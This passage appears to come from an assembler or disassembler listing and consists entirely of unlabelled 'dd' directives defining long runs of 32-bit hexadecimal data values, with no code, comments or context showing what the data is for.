dd 0F82198C5h, 30E74547h, 6E38C8A3h, 0A8A82FD0h, 400BFBEh dd 4B1DE88Bh, 0E236A371h, 0AD78006Fh, 0E7E5606Eh, 0ACA8F38Dh dd 0B100671Ah, 0E9E4307Eh, 493329FCh, 7C1E443Ah, 0F99F0065h dd 0C5E22ABBh, 0A051EC03h, 0C8EA4692h, 5428656Ch, 3A5A4CDh dd 9A75A9E1h, 52CA4E31h, 0F62F98A7h, 0E311A94Ch, 300A3D74h dd 44F4D7FCh, 6D2F40FFh, 319446Bh, 0A3E83D23h, 76886721h dd 0C07A9F63h, 42AD3018h, 2EECE39h, 1B8F8623h, 0FC91271Fh dd 77A010ECh, 0DA2101A1h, 2E2D880Ch, 0CE31E0CCh, 18CAF928h dd 81FC50CCh, 73AE2819h, 3469500Ch, 0B95B60D7h, 0DE9C9245h dd 76E71718h, 7CDB0AD9h, 667D0E06h, 0D16623E4h, 0DD003183h dd 64AC3938h, 6019BB12h, 57A519B3h, 990C4D3h, 5F6ED900h dd 410D3F99h, 0B8E189Fh, 272A28A0h, 0FD638DF6h, 0C88B96A1h dd 0F1DEE8h, 0D97E3788h, 45356781h, 0CE393B0Ch, 44D768EBh dd 7076F431h, 0FD1DF200h, 0D28310A3h, 0EC7D4F3Ch, 713E2685h dd 627BDB00h, 5A6E79h, 0CD8B3F25h, 0D6F89CDCh, 39CA79C0h dd 1C4615h, 41D3F709h, 78D0ED8h, 4F190A8h, 6A2FA400h, 3F6E4E05h dd 2DA2010Bh, 5A8E7767h, 97BEC69h, 5133D637h, 0B8A6C510h dd 58FE0091h, 98BB8A7Dh, 8400BEABh, 0C9923E9h, 4B243448h dd 0CE25B094h, 45E42777h, 18FDE637h, 7AE29A3h, 8CBB3408h dd 8FF1E0FEh, 81DD261h, 5DDF79C6h, 0B569A240h, 3BD74D1Eh dd 37B718B2h, 1D66E240h, 0BC77C420h, 3DF80158h, 1EB00E5Fh dd 9114424Fh, 9E513481h, 98BB41h, 472961EFh, 1FD52098h dd 420A97C9h, 2DE66258h, 60AB2420h, 45290688h, 18250EE4h dd 0A010E754h, 0B3C4E906h, 0F871BF45h, 5AA90619h, 29B0293Eh dd 0A1BE1000h, 9A718E2Bh, 2FE75CADh, 66500A00h, 2D7C86E9h dd 0A619D4F6h, 3BE94A58h, 0DE9A050h, 7E2F00CAh, 0E27AC503h dd 0D903A426h, 0D1B2B070h, 7791850h, 9AE9A102h, 9CC13200h dd 1F7087E3h, 0D11B00C2h, 0ED5CEC81h, 480F698Fh, 61BFB052h dd 9B33E5F9h, 80E88C56h, 186CB164h, 5916BC52h, 56304CD4h dd 0F63E283Ah, 71D0184h, 7B861A93h, 0EC9CF5A6h, 8200E8CEh dd 0A063F49Bh, 3D1D0FFEh, 0E58CF248h, 74414E2Fh, 69F90830h dd 1D5ACDh, 0DAAC2284h, 0ECA5C52Ah, 4254A307h, 13609718h dd 0B05875h, 0D43A45E9h, 0B7DF221Bh, 0EE0A7900h, 0FEABBFD7h dd 95FB018Bh, 78680E61h, 58884808h, 0B00A7100h, 0F1FEDD29h dd 9F010034h, 0FA4A54Bh, 0CA281A3Eh, 0B926828Ch, 26158C4Ch dd 3D4E00DCh, 75324A4Bh, 2E9907D3h, 0F6545619h, 0A21E68CFh dd 1FC1B4D0h, 33E735F9h, 0BC243987h, 0CFE18C07h, 7690D000h dd 21A4FAA1h, 0E1560347h, 8C9ED689h, 84E2AED0h, 0B1080733h dd 7010E0ABh, 0B46D0167h, 0FF2B0E9h, 0A6CC504Ah, 7073116h dd 14D795E6h, 307F34F1h, 1767CD4h, 0F9A78362h, 8CFB716Dh dd 99AF2981h, 0CFD7249Eh, 0F4060071h, 395B6D95h, 16339B1Eh dd 0C9A5830Eh, 0BCD400C8h, 522FE68Fh, 0B840D841h, 30E57854h dd 0B651B429h, 0FB01FED7h, 127CA384h, 0BAD87330h, 37D30015h dd 4DABC926h, 0BF0FC427h, 615775DEh, 4BA0E5E0h, 0BA455985h dd 0B35408E6h, 1BEA7780h, 3FFC0AB0h, 0E08181C6h, 26B2B8D7h dd 78C2445h, 0D639E560h, 1B3DADh, 0E7372177h, 3A78F1B0h dd 89048371h, 17AC90BBh, 0AC50CC0h, 6B5E0366h, 0C045E21Ch dd 0B3F6AF90h, 3544890h, 3F00EBC0h, 49F9899Ch, 74B6B52Eh dd 9F6B008Ch, 33177ABEh, 0AF025255h, 0E277C02Ch, 0E2C663Fh dd 88995E5h, 0B106A9E0h, 43285FFBh, 0F6FEF5Ch, 5E9E6061h dd 0E4F76212h, 0C361124Ah, 6DF8200Ch, 0CE00AC75h, 54418803h dd 26F2DDFAh, 609831CBh, 0BDCDAC5Eh, 0F80F4700h, 8B7D41E1h dd 0C61A01F1h, 15D17F0Ah, 67103079h, 80841148h, 6319C55Eh dd 0FC407806h, 0B558009Ch, 0BCBFB989h, 0C1001FB8h, 50D60199h dd 0C009E852h, 0D75FE739h, 0A00A8FDFh, 0C35438D0h, 2131BC1Ch dd 9980AD29h, 6E74C399h, 0AA00B3B0h, 2A909128h, 7711EBh dd 0D1C5D6E1h, 0E8C11B0Fh, 0A8DEA0C0h, 0C1BB288Fh, 0EAF87C41h dd 0E9D9F49Eh, 2921D700h, 0F7A98AD1h, 4C9E440h, 0B2C01DC7h dd 0E80488D0h, 0D4A6A412h, 6271A030h, 0BD91005Bh, 8F5E7ADEh dd 9207459h, 0B6482436h, 405C00FCh, 2FE19A4Ah, 0C100D499h dd 883FCF1Eh, 0C8F0FA0h, 99A77AF4h, 4FB1B0ECh, 7C2CB86Eh dd 0BD13FDB6h, 0BFFAF830h, 0A79100E9h, 5D0E5A5Ch, 0BC01DBFCh dd 0D76154E5h, 0C34984Ch, 0EF00071h, 1EE35AC0h, 5F4CBDC1h dd 0A4BBC038h, 3F1DB2h, 40861CD0h, 0A0E6730Eh, 0C441AC24h dd 5F2B5140h, 58813CE0h, 6DB7E100h, 0D16BC4C1h, 0D709EAE2h dd 252A7F20h, 5400BEB0h, 4D958D15h, 781F4836h, 0C1000422h dd 6746E4A7h, 0EB1442h, 4ECE5CD7h, 0BC172CB0h, 9A44FF0Ah dd 8440B010h, 2DAA228h, 97FC3C38h, 0F4C1F8F6h, 0BC3C3018h dd 2FE710EFh, 30F49249h, 17895D0Fh, 0A0003FB1h, 5C0980BCh dd 0F4FD6FC1h, 0E8302D79h, 88AB8D05h, 48F545ECh, 0C10619DCh dd 298B6607h, 2DAF1D21h, 63262040h, 0AB60C0E6h, 684D138Ah dd 2BA1195h, 5E878228h, 3E2D10E0h, 51E839C0h, 629E8456h dd 0FFBA70A7h, 0CCE09829h, 176D0049h, 3F5D66FEh, 0E800E75Eh dd 0B9220316h, 11B35F3h, 0ED33F1B8h, 4025905Dh, 64291760h dd 3980E012h, 0DFA6A400h, 0A3A39E2Eh, 0E37019C4h, 0FCA2310Ah dd 422EE993h, 0C2028C9h, 7703D476h, 0C79D9E0h, 0FDB90035h dd 0AB2ECB9Eh, 0AA024D15h, 0D7331BEFh, 7DA86407h, 0FC6876E0h dd 0DB3C00C9h, 0A4BE6B8Ah, 5A04A8E8h, 1C5CB8E6h, 534CCC81h dd 2690D457h, 126099h, 0FBA28ADEh, 92161563h, 402F7526h dd 0A84A8C43h, 0E196A1h, 0D3337322h, 982A311Ah, 0A30A9300h dd 9FB076D7h, 0F46C48D9h, 0B9330C18h, 160F74AFh, 4A1EC03Ah dd 2311F8D5h, 1199801h, 0D418351Bh, 9A03497Dh, 859F1FECh dd 0D1C6D157h, 1A4D6C0h, 5CBC22DEh, 418B676Dh, 0EF745520h dd 0F49005C2h, 5788401Bh, 0AC9F1388h, 71604446h, 31E7450Eh dd 31BBF8CCh, 5241E08Bh, 0DD8C5050h, 7B007DB1h, 6C750A39h dd 108D4B6h, 8BE7907Ah, 0B861BAD7h, 68C430h, 519FF35Ah dd 0CE2A47EFh, 0A5697201h, 17BA8902h, 0BF060832h, 81282FE8h dd 5EE1A000h, 62EB5614h, 7FD01CBh, 51C9E6A6h, 0DD9C60FAh dd 0B3BCD1CBh, 0F00FA178h, 3D9424h, 3FDA55Dh, 9031B472h dd 0DB93560Ah, 9D029CC7h, 40223989h, 202AE528h, 689041ADh dd 80381048h, 0E32395C4h, 35F43C8Ch, 579DA600h, 918A8B0h dd 9C3EB526h dd 83AF2E08h, 0F363F8D1h, 0F04F12E1h, 9002959h, 0E40CD857h dd 121F1A5Bh, 24A4E5E1h, 0DB5840C8h, 57716A83h, 9C8CCD05h dd 88D2D7DFh, 0A81B210Fh, 11B2FC56h, 0B4E4FB28h, 924744h dd 0C45C2536h, 0BB6D7503h, 4A665F00h, 453B42E6h, 0A6DD120Eh dd 0C370904Ch, 0BF0FB6B4h, 2F7D3E9Fh, 8077218h, 20866674h dd 755C1CD1h, 6BDD84DFh, 0BF148802h, 768C6307h, 47254116h dd 90770480h, 52093E6h, 0CEB00B82h, 2D870054h, 0BD5A22B5h dd 0F39D0F0Ch, 0C2BC0178h, 3789085Bh, 0B229ACE8h, 0AAD51C0h dd 59506CDh, 8EA27759h, 0BCD9C08Fh, 5409562Dh, 306898CCh dd 0A74254h, 0AE3055A1h, 0EAA9DD5Dh, 8E5270Bh, 0A0C48156h dd 0F44C0307h, 3FB0007Dh, 0B9C22F28h, 0F6F03AEAh, 4FF874F9h dd 0A7A6D450h, 0F614462h, 46E46864h, 0C45D00E5h, 9B5112Fh dd 82C2773h, 64044C3Ch, 0B493357Bh, 48310BC0h, 4200AC10h dd 0F017C5D7h, 734A83Ch, 0BFC076F7h, 485B4D12h, 90755510h dd 1334218h, 0EED721E9h, 0ED0C9E2h, 0B078037Bh, 179E5A6Ah dd 0E5E8D009h, 746810A5h, 0E35000C1h, 0C9400215h, 2320CCD3h dd 13F8ACAAh, 170AE9A0h, 7B04614h, 0D900B1FCh, 6FB99C52h dd 1C1C3F27h, 0C989796Ah, 0C8118051h, 90642854h, 0B81C3574h dd 50676030h, 0FC0D2CB1h, 1F502487h, 316698BEh, 310008DEh dd 5FA26B02h, 0E670FD7Bh, 94955CECh, 0B7A2F12h, 0A0131928h dd 9FAC8BA1h, 0F134AFC1h, 0F414ACC1h, 61293ADCh, 5B9D218Bh dd 78C8622Ch, 296204ADh, 1F705037h, 0C0F267CCh, 87FC0F27h dd 9001A258h, 35FB7CD3h, 53F41629h, 0E0CC2836h, 11B84214h dd 0A218278h, 90F56308h, 47B788B4h, 0C684E82Eh, 70042561h dd 9F6003A0h, 12BFB17Ah, 0E020D1C9h, 67B847h, 493B63F9h dd 4368B271h, 52395C04h, 7EC070E1h, 0F819DA34h, 0E45F00CAh dd 4C54BFFh, 6C1FBE52h, 60C0CF98h, 5D303894h, 0A5D900B0h dd 96844C91h, 0EF399B1Bh, 71F000ABh, 2AC003CBh, 1E3E015Ah dd 9BBB2D42h, 634DF818h, 600C0400h, 2184A27Ah, 814C00E3h dd 0ED2DE4DCh, 0AB0D8D5h, 0F2013600h, 0AC2C42FAh, 0B9321CF0h dd 0C697814Fh, 0F0A10790h, 26006D10h, 6BEAC4A2h, 27EB78h dd 0BB318206h, 1C086FCFh, 0CDA28300h, 8AB61FC4h, 0C6BE18DFh dd 85B98030h, 4DB36A00h, 4207D60Fh, 0AFEF0093h, 0A753CDF8h dd 300019A2h, 50BBF117h, 0E42DABC0h, 0A0980040h, 0F686D409h dd 0CA3CFE99h, 62F003Ah, 50AA712Dh, 0BA73008Eh, 0DB2C122Eh dd 5F001D68h, 396163D5h, 0EF5D2Bh, 95CFA84Bh, 65E76FD0h dd 0E137FB0Fh, 27D90384h, 0F57087ADh, 8329FAh, 7174F228h dd 0F7EDB6BDh, 7672DB00h, 0CE2FD6BBh, 0ECE40046h, 8E7114C6h dd 0C7EC9FC0h, 3B772D00h, 551E4164h, 32350042h, 3EC5FDDCh dd 2060BB24h, 0D3F19ED0h, 43CF65Eh, 0EF369D8Dh, 0ED358377h dd 33342000h, 0DD96EE7Ah, 0ADC900EAh, 0BEA7B29Eh, 5FE26CDBh dd 4CE48300h, 0C86DA17Eh, 0ADF10125h, 0FFA0635Bh, 64D3E8F4h dd 80F2D238h, 6A280AA6h, 389053h, 5C5D259Ah, 8AD9500Dh dd 63E1E01h, 0A1953717h, 19F0D7DFh, 500BE2h, 0FDE003D6h dd 4EAA528h, 9C20A000h, 12331593h, 90C84C6Ch, 0D38FC01h dd 0E4364B2Fh, 0A80066E0h, 1FFB500Eh, 0E47CC93h, 0C1856591h dd 52B96AA2h, 0D6AC40FDh, 80664FABh, 2AD46C1Fh, 7BFF8D00h dd 700801B8h, 83E40058h, 0C0C92709h, 22009D69h, 45616455h dd 102D5FEh, 0BDD325E9h, 0C809A618h, 0ED034DB5h, 0D92D6AA7h dd 6D7AE841h, 891200A0h, 33ABDF44h, 9930A842h, 0AD871109h dd 12B20005h, 2E46F8AAh, 23014B4Ah, 6C7C8FA2h, 3820D53Ch dd 59F441Ah, 0B612E00h, 0C3E26A1h, 0FCC90016h, 146F48F3h dd 24702C93h, 0EB511D16h, 5043FA00h, 1EAF7Eh, 192F2A08h dd 25BF11B8h, 0A6CA3702h, 40F33F2Eh, 13A44317h, 0EE4D32FEh dd 859A000h, 61ADC1h, 0E684258Ch, 0DE8A521Dh, 68CC1602h dd 8AF9A387h, 921E03C7h, 0BDA66000h, 25E80Eh, 47AD267Bh dd 0B8E097ACh, 0B91EC800h, 0AF82D40Bh, 0E4B30080h, 88630523h dd 0CB00E1DCh, 0D5F14C27h, 176200Eh, 110C0824h, 0E4DEB5BBh dd 0B0001080h, 0C2D881FBh, 31AE03Ah, 932EC39Eh, 61C0561Dh dd 3600DBC8h, 0E32A42FCh, 0BAB54Ah, 2085E53h, 9DB79C64h dd 6867E800h, 0DCE37F61h, 4FFA1374h, 0E7280150h, 0C1D3FEBBh dd 2EF8C7E4h, 7001660h, 0B58BB4BFh, 56D6357h, 87F39449h dd 0D5C420E5h, 2000115Bh, 0B342AE41h, 5EB590Ch, 8203705Dh dd 7AF40045h, 33957BD4h, 52E33D00h, 0D9FA58EEh, 46EF0073h dd 6013E971h, 41006524h, 31EBDD74h, 398CC6BAh, 22809718h dd 0AFC27AE7h, 3400C852h, 814D093Ch, 309633A6h, 77703273h dd 0A3E61FE8h, 0E17A0AEEh, 0FF671B00h, 7BD668E0h, 579D180Bh dd 0DBF42078h, 9102277Bh, 0B5A7AAD5h, 0F5914077h, 0F9CF0033h dd 9B9C78DDh, 0DCFCBAAFh, 0B8E55439h, 0D5829EBEh, 8ED93742h dd 0D3F48055h, 6EF86Bh, 28C32E76h, 891EF216h, 0DF6A7307h dd 4CF0F52Ch, 0FE1988h, 0FF951F86h, 0AC13F18h, 7FCB6200h dd 30742063h, 0C659005Ch, 5EAEC0E0h, 3600AB9Ah, 0CD6E947Bh dd 0CA9910h, 75C6FEDEh, 7E3C2D82h, 7688B42Fh, 56E80BEBh dd 5C4AEB00h, 0F200B35Eh, 909C1B67h, 2104BEh, 9D741008h dd 99D20BFFh, 3E236003h, 376720h, 1EF96321h, 15107FEFh dd 0CCB4E0Eh, 653F0001h, 123F3BDh, 2881EB4Ch, 0C05DA9B7h dd 48005FA0h, 6E34CF2Eh, 1B0159h, 0BEEB1208h, 0A37101Dh dd 5CBFCD0Eh, 0EDA340A7h, 0A0CE7Eh, 0A97C8CC7h, 4D24E259h dd 0D1FEB900h, 817E0DA6h, 0D57500D7h, 84FA863Dh, 0B4009648h dd 0A288911Dh, 0C0C557F6h, 40219AF0h, 0D1EA14AEh, 4BE26000h dd 0C37CB65Bh, 0CB6300AAh, 0DDD33A34h, 0E43C8D8Bh, 681D001Bh dd 0FFE16BE8h, 1039062h, 90D3F07Ah, 0EF3866EDh, 106407B7h dd 0F75ACF63h, 9BAD3207h, 8E00FE20h, 3A82296h, 90BD8DBFh dd 0B004F888h, 55CB4D2h, 5A8088C0h, 268900E6h, 0D3292C0Ah dd 9706DF07h, 21B0FEA2h, 4FD52648h, 0DC518020h, 0C8824BFCh dd 167EE938h, 380070F3h, 222BA701h, 0BC1F0246h, 0B6683B61h dd 0E57C4C60h, 0CFE3660Fh, 0B4DC40DFh, 79026C70h, 0FC6A0077h dd 0DBD2094Dh, 9A00E6AFh, 0CD3ADAE4h, 138BB55Ch, 0AE0A14Bh dd 8C70A8A4h, 0DEF8F36Bh, 0C90071E8h, 7B2C61A4h, 0B8F6E82Bh dd 62850074h, 3EF37C34h, 4003EF83h, 7BA0B249h, 15CA80D8h dd 22700287h, 2B9DF54Ah, 420E80D5h, 2A98F28h, 2E15F40h dd 68C0077Eh, 8200CC80h, 0F449FBBDh, 0DA2A0Ah, 0A423856Ah dd 0B59113F7h, 1E4A73Ah, 39E18A0h, 74F0C8B7h, 0E064093Ah dd 0D0208228h, 0F4C93112h, 68EAAB2Ch, 6BE58E00h, 2EF6ABAh dd 261A8013h, 9C802811h, 0A864AC75h, 49395Ch, 886E2241h dd 0A96BDEh, 1FF95D0Dh, 19CF4F18h, 0C6696600h, 7F9DAD9Fh dd 0C7CD1D4Bh, 0E0408E6Fh, 81D341B8h, 1EF69238h, 4B807CC2h dd 4FD91194h, 0A31403A0h, 570F8BC8h, 0FBE88A9Bh, 191FD52Eh dd 46C354ACh, 0C05EECF0h, 0D29D55h, 21CE7510h, 5AAE0F12h dd 0EB913E00h, 572E27F4h, 341C0068h, 0DF73F548h, 97068595h dd 35DDF36Fh, 28A16C79h, 0C21B2679h, 7040B5D0h, 0FCB40019h dd 4BE0C762h, 230C5B06h, 214D829Ch, 0E44F0C39h, 7111A57Ah dd 0A3F20700h, 8EA0388Ch dd 0AF1C0032h, 0DAB25DE8h, 0BF7B847Bh, 1AAB18C1h, 0D7C87A75h dd 27F33BCFh, 0B866EF00h, 2D089915h, 3B980D00h, 0B23E3805h dd 694D0096h, 0BF9F8406h, 0F0004815h, 0DD9824F6h, 68CA7Ah dd 6327846h, 661E6447h, 393FC81Dh, 80210F0Eh, 0FB995BE5h dd 0BB2003F9h, 88B6C098h, 4FCF41C0h, 0C89F7807h, 0DBD07105h dd 0A09AAB28h, 395915B4h, 0AF001E1h, 4F785276h, 9F0600F1h dd 945562CCh, 5718E000h, 0AA21DA8Eh, 0D3AF1F04h, 7E9C03F4h dd 0BCD0EDE3h, 90A05D29h, 3A1E5647h, 0EBC0B273h, 1359A0A4h dd 0C8940023h, 0EA1FB56Fh, 3004FCDh, 601BC94Ch, 7BB4066h dd 0C0880713h, 6C716038h, 0B4003792h, 2DBF46BAh, 0CF9C32CCh dd 2802384h, 0BB2ADB8Dh, 0DA06AD00h, 2D48AC4Bh, 0ECC9186Fh dd 5A2FD844h, 0C67F3601h, 98EDC8D6h, 0E4670EF0h, 96A101C1h dd 671739Fh, 69F4C874h, 8470AE00h, 0D8E43A95h, 1B17000Ah dd 8CA2835Fh, 0BB582CFBh, 32850042h, 4964F60h, 0B1FC009Eh dd 63FA0DD4h, 56399FBCh, 7D2DD879h, 2D5B3Fh, 0DA0470BDh dd 4114510h, 7CC334BEh, 68648088h, 50046E5Bh, 0FC518EFAh dd 5314EDC0h, 0B4EE2Fh, 3B5C9512h, 0B3AEDABCh, 1CE47401h dd 244CBFCh, 25DE2984h, 785EC0A9h, 9800BCBDh, 3BEA9A47h dd 9D05D0h, 4BD39EF3h, 0B4348B8Ah, 328FE700h, 5AED3390h dd 10E960D7h, 54C07BFEh, 0B57DCF00h, 0AC5927F2h, 21C86037h dd 0FCA7E153h, 3F0F673Bh, 7A1F00C7h, 0D08DF5B5h, 6C3E1C0Ch dd 174740FBh, 96C60D38h, 0DB32C100h, 18BFA092h, 94B80FCDh dd 40BDC54Dh, 0D8A571A7h, 3B0053B6h, 69E09F93h, 0A0B3B17Eh dd 2674558Ch, 47005F63h, 0A606013h, 1C0C0721h, 280EA4CBh dd 56730350h, 0F96722F8h, 0EA08D0D4h, 7226AD86h, 4397CB3h dd 0A9D759A1h, 0C5559C90h, 208F0089h, 3C45B842h, 5304ADB3h dd 0E929AAF0h, 788E57C1h, 18D82BE8h, 288262BAh, 0E60E08CDh dd 0C07FE407h, 0E03B6BE2h, 9610042h, 39BF5EF9h, 0B0006320h dd 0C1B7962Bh, 50CB9Bh, 4FAA060h, 0CA488E13h, 504FB630h dd 3E8D924h, 0BD96F41Eh, 48888FFh, 5439B389h, 0BC448379h dd 0F9156Fh, 0B0A6431h, 0D02306D6h, 287AE50Bh, 90330039h dd 0D0E54h, 0E738C507h, 0B12103EFh, 0E25288C0h, 5DFA56Fh dd 0B28B7747h, 0EEA60959h, 0C54F7087h, 8D6B8026h, 8A982AD7h dd 7BCDE400h, 0D916D52Dh, 0FBE9007Dh, 0FF726B31h, 560F0B96h dd 209E9538h, 0D0489AA0h, 417F04BEh, 80D82377h, 56F1680Bh dd 7021B71Ch, 76476A47h, 4060DACEh, 240393h, 5221EF66h dd 775C6E9Dh, 38B9E331h, 49EC4F05h, 10B860EBh, 6635641Dh dd 6765E90Eh, 6B74A0ADh, 7E5A703Ah, 1429043Ch, 0C06F895Dh dd 2B5EA324h, 30761A00h, 908248D3h, 1C9D00FCh, 0AA510A66h dd 4A0013C9h, 6CB62E87h, 0A0A7BD17h, 0F689E0h, 0D3B8D03Ah dd 0CC1B99E9h, 4D9B9F00h, 739694D8h, 0E7559h, 0F1828E5Ch dd 3C060D7Ch, 83E9363Fh, 0FC4686CCh, 0CF22A0B0h, 7D4A7BA0h dd 6126002Ah, 0EA90231Ah, 6200B19Eh, 0E83B6C78h, 0CAE702h dd 5A71917Bh, 0E5D494CBh, 70E2EE16h, 0CC6E1A00h, 0F9CF01h dd 86548C59h, 0ED25F0D4h, 0FD87C00h, 43845813h, 98AD00E2h dd 48121940h, 0DBF2F53Ah, 58093900h, 0AC0B64F9h, 0C2CF00B4h dd 0E596A7BEh, 2379615Dh, 7DD84800h, 806BF9EBh, 666448ABh dd 59C3E200h, 0F348D242h, 2B3056E6h, 0C81711ACh, 0EBA305B0h dd 7BBFE0h, 79B991AAh, 1C0673D0h, 2B8F025Ah, 19DB03F8h dd 498BE71Dh, 0AFFA6800h, 70F24534h, 0DF6F0048h, 0C5BF5FEDh dd 0B901C152h, 0A8CAA9C8h, 30804322h, 0DCA64009h, 0A44C3D18h dd 2DB0068h, 8F56A9F6h, 0D84E047Bh, 81C661C3h, 0F8DD4514h dd 44003347h, 97C2AFAEh, 5621302h, 0EDB2C951h, 0E3F40555h dd 608A800Ch, 0E2180D72h, 5C184F40h, 0FC290036h, 0E7C6E417h dd 0CE7C5856h, 0EA00DBEAh, 0A50435DEh, 0B55FA4h, 382F4B40h dd 4AB12ECDh, 0CE3D3B00h, 0C062B9EDh, 0F16E00F7h, 0DE823F73h dd 0EE0F0B63h, 0A78964F2h, 93C00342h, 0C069D3h, 0A8EB2E6Bh dd 0D28F6FFDh, 18A73Fh, 0A4088B46h, 4C5A2158h, 69002826h dd 0F2F35F75h, 4D00EDF1h, 0DB774F80h, 6C80Ah, 965A9954h dd 21FB9C24h, 5BEAC100h, 2F7655B1h, 1200B3Dh, 4B80C8B2h dd 0F50E2C07h, 0F9024EC0h, 0ACC0B3h, 16C48CC7h, 0E1511B57h dd 5D17E300h, 6311593Ah, 82D61E3Ch, 659FC0CDh, 45BF1262h dd 0C1E4E0Eh, 72DCE0AEh, 155EA53h, 98E7E517h, 0FC1A7EADh dd 0FC3D59E0h, 0BD720063h, 0D357A3BAh, 5A910056h, 503B5DADh dd 51F61438h, 0DBB37B00h, 0C4C6D2E2h, 4C320C4Eh, 0CE68490Ah dd 0E8838400h, 7B7C85D5h, 79CFEE62h, 282200ACh, 0A0CB23D9h dd 0C200146Eh, 0A1AA2AB3h, 3A619344h, 77BB61Dh, 0C796BB8Fh dd 0D9EF608Ah, 0F803063Bh, 670A0F85h, 0F205985Eh, 1B9F0AEBh dd 80BC9EE6h, 283614DEh, 0B91C4EFBh, 0BD80C797h, 0C389C994h dd 91CF3DEEh, 9CD3E200h, 9DD8E5CCh, 0E1FCD51Eh, 0EACBDE80h dd 7C3E6E8h, 0C0E9FDF2h, 0D9F0E0F5h, 9C00A5F9h, 0B4A9EA2Fh dd 7822190Fh, 5EFE12D4h, 0AFA007FFh, 40EDC7C4h, 225DAA97h dd 0A71D2CB2h, 0A0302F9Fh, 1D02D2ACh, 0CAA20Ch, 0DF537E01h dd 0FD001E0Eh, 507699AFh, 739A27E8h, 727A0636h, 70E4ADEAh dd 0A8B4E200h, 3F392282h, 88A760BAh, 8C75E73h, 0B8602517h dd 8D2EF400h, 5AD53h, 70BA1F3Bh, 0E017CD39h, 58F4B449h dd 0A19A1825h, 0C0ADF258h, 91AFE7B8h, 438657AAh, 0A22071h dd 0AA40D3C2h, 0CA576DD4h, 0A93C2400h, 0C077A068h, 5B2800B7h dd 0BC1290D9h, 39002BAFh, 0F1C8E3ECh, 108538Bh, 0D7044503h dd 0D49EB286h, 9B0093F6h, 0E6482926h, 253876F4h, 0EAD62C6Bh dd 1BF71A00h, 69AE286h, 51112292h, 100146Ch, 8F2DFDE3h dd 5EB69h, 0E9CB968Eh, 0B1514C95h, 1C55273Ch, 48404FCFh dd 80EF97C8h, 72ED5C26h, 791E500h, 6DDBFD61h, 0F03C0576h dd 0B5C20068h, 15D4410Ah, 19980003h, 0D5C7E94Bh, 0EC0044DCh dd 9DB18ED9h, 9BD0424h, 9FC31D40h, 0D0E63C27h, 0D6816A28h dd 594ED20Eh, 0B3D120A7h, 2A75DAC5h, 0AC2F7Fh, 4FCCBE0Ch dd 6EF3DBF8h, 0ED311906h, 72205216h, 7529C07Fh, 0AAE7F612h dd 77D0338h, 3F512629h, 0B2D018E1h, 174D7880h, 0EEA832C9h dd 79CEAD06h, 9412D7Fh, 4752B824h, 0A9825883h, 0F5F89C90h dd 0A59BA700h, 0AB1C4F3Dh, 31750067h, 6D66F9E8h, 20C09268h dd 0FB46D6E9h, 0F54D0724h, 334F3539h, 0A7907FC6h, 0D407EA9Eh dd 20241516h, 1CAC712Ch, 0C05CAA9Bh, 40FB1BEEh, 0E00FEC31h dd 2024F812h, 95D4AF8Ah, 677F29h, 73EE1310h, 5F268969h dd 0C0B6DA1Dh, 0DC818300h, 0E42146F8h, 8AA70CDBh, 0D908933Dh dd 0E00321C7h, 2DC220E1h, 493A98C3h, 0A0E40387h, 0BC8808A8h dd 7A142800h, 0C4AE99D6h, 956C30ECh, 9724C319h, 0FF0FD91Eh dd 0BE38B700h, 1817DBEFh, 309BA24Ah, 0D81883F5h, 0BC705CA4h dd 4DE200BFh, 0EAFFD61Ch, 0C766DEC0h, 21A608h, 0DF4DDA90h dd 105F5B65h, 91E35200h, 63AC7873h, 5E73F6h, 8D41D89h dd 8A7FC2A3h, 67739001h, 0BF060B4Ah, 0A1F9FC01h, 0D3D18850h dd 6401F818h, 59FDEC74h, 0C883A882h, 0DF4B0810h, 8081702Ah dd 39C5A933h, 0DD7B8078h, 144B069Eh, 0D150A518h, 0F3300700h dd 0F0313E1Ah, 0DDFE1F1Ch dd 0CC010025h, 4509CE0h, 737A4D07h, 21C105F3h, 1883EE14h dd 8D0E628Ch, 103DD01Fh, 88071F40h, 0EEBB8EEDh, 28E6602Ch dd 43A84E0Eh, 0AB84CC00h, 49420833h, 0EA6700A2h, 0B48A601Ah dd 0ED004677h, 8B2B348Dh, 0EE208C5Ch, 0D0CBE932h, 0CBF524h dd 594BE922h, 2CC04C6Eh, 93F430C1h, 189EF176h, 486B1955h dd 0D584C42Bh, 0EBF72706h, 7420F97Ah, 417500ECh, 0CDC782A4h dd 6B00C4A2h, 2F0CF4A6h, 7F64C1h, 0DBA538C8h, 5D8C784h dd 0EE4D6A00h, 0CB32914h, 78737CADh, 529401E0h, 0CC7ADE44h dd 1E798EF3h, 0CD5BA018h, 35C38Ah, 0D091A56Eh, 5AFA9A8Fh dd 7ADFFE0Eh, 0F52565E9h, 98F0BA0Ch, 7B77270h, 22BD6E38h dd 0A887408Ah, 8200ECC8h, 858DDB7Bh, 1816516Bh, 60406D18h dd 4200F0B4h, 0D2EFDE81h, 0D0E1031Eh, 0CBE0411h, 10BA400Eh dd 0C4B31FDAh, 872E000Bh, 35D14C1Ch, 0D8614E00h, 3C940EE2h dd 0DB3013C5h, 28AF198Ch, 0B82A1083h, 0AD640187h, 24B9150Fh dd 45F02BB6h, 0F277DC5h, 5CAEA30Eh, 1BC27D21h, 0BD4AF0B7h dd 0CFA83D0Eh, 59216334h, 0EEE5E88Eh, 8C2400AEh, 84FCF486h dd 0F77AB9A3h, 5A1F0CE6h, 8300574Ah, 481B87BFh, 10B11E0Dh dd 90FF0050h, 0D7AC72BDh, 99C32400h, 0F8E6CDEBh, 0AB7282Bh dd 3D9000D1h, 17FCFF5Ch, 0D700EE1Ah, 0D9B47771h, 3058DD9Bh dd 402163EBh, 6600D6F9h, 2EEAE783h, 0A0843179h, 3868AF94h dd 2580694Ah, 0E76CD29Ch, 0FA005A75h, 53718EE2h, 0DDEE6h dd 5F81337Ch, 0D09D3C18h, 0F4E1201Ch, 0CA163E40h, 10139Ah dd 60D52DCBh, 91999701h, 561CC0F2h, 258019BBh, 0D2F33D59h dd 0C3B04CE3h, 0E2A16D01h, 0C844B63Ah, 0F607B83Bh, 14E95886h dd 6E4013B0h, 0EFFE3082h, 265C0C48h, 8A1C5E00h, 9974CAFAh dd 0A4BDEC49h, 2BBF00C0h, 72211D6Bh, 0F6EC0A01h, 0C455624h dd 18E2B900h, 767E5Ah, 0FCC0DDBDh, 884B4637h, 9DB7BA00h dd 0E33F5211h, 5C56009Fh, 0E2218DC4h, 730012AFh, 0E99CD447h dd 727F8CCh, 0C4C02F92h, 46F6F01Ch, 0C605CE0Ch, 7BA4D1FAh dd 0C32A8FC1h, 0F0641D8h, 0A6038D3Eh, 